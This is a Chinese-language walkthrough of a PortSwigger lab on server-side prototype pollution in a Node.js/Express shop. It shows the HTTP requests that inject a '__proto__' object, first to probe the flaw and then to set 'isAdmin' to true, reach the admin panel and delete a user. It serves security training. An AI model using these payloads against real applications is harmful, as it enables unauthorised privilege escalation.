污染属性反射检测服务器端原型污染
通过服务器端原型污染提升权限
Lab: Privilege escalation via server-side prototype pollution
必要知识点
开发人员很容易陷入的一个陷阱是忘记或忽略 JavaScript
循环迭代对象的所有可枚举属性这一事实,包括它通过原型链继承的属性。
利用POST
或PUT
方法向应用程序或API
提交JSON
数据处容易存在该类漏洞。如果应用程序在发送JSON
数据后在响应中包含返回的属性,可以尝试使用任意属性污染全局来探测该漏洞是否存在。
实验室要求
本练习基于 Node.js
和 Express
框架构建。它容易受到服务器端原型污染的影响,因为它不安全地将用户可控制的输入合并到服务器端 JavaScript
对象中。这很容易检测,因为通过原型链继承的任何污染属性在 HTTP
响应中都是可见的。
要解决实验室问题,请执行以下操作:
- 查找可用于全局
Object.prototype
。 - 确定可用于提升权限的小工具属性。
- 访问管理面板并删除
carlos
用户 。
您可以使用以下凭据登录到自己的帐户:wiener:peter
⚡️黑盒测试
● 首先访问对应的靶场界面
https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution
● 启动靶场
1. 分析功能点
这是一个购物SHOP
的网站,存在登录以及查看商品信息的功能点。
利用对应的账号密码wiener:peter
进行登录
登录之后存在填写收获地址的功能点,较为符合购物网站的逻辑。
2.查看历史记录
我们查看对应的burp
历史记录
令人感兴趣的功能点是最后点击地址的时候,发现存在一处isAdmin
对于渗透测试人员来说,存在Admin
类的内容是需要重点关注的
3.功能点探究
点击提交表单之后,字段中的数据将会作为json
发送到服务器端(一共五个参数)
POST /my-account/change-address
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L"}
服务器对于接受到的数据会进行响应,响应的内容似乎就是我自己这个用户
相比较而言,多了username
firstname
lastname
isAdmin
的参数
HTTP/1.1 200 OK
{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}
4.原型污染尝试
因为在该处功能点之中是以POST
请求提交了JSON
参数,并且在回显的响应中包含了返回的属性,因此进行服务器端原型污染的探测。
构造注入响应 __proto__
POST /my-account/change-address
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__":{
"foo":"bar"
}
}
利用burp
的重放模块发现存在服务器端原型污染漏洞
判定该网站易受攻击,注入的属性将出现在响应的更新对象中
5.漏洞利用
确定可以服务器端原型污染的问题之后,我们可以利用这个问题扩大战果
isAdmin
参数为false
就很像越权问题,尝试构造权限提升 false->true
POST /my-account/change-address
{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__":{
"isAdmin":"true"
}
}
发送请求之后,发现响应进行了更新。
表明isAdmin
对象没有自己的属性,而是从受污染的原型继承了它。
通常权限提升之后,我们就可以看到更多的内容,访问个人用户发现多了一个功能点Admin panel
点击删除carlos
用户
完成实验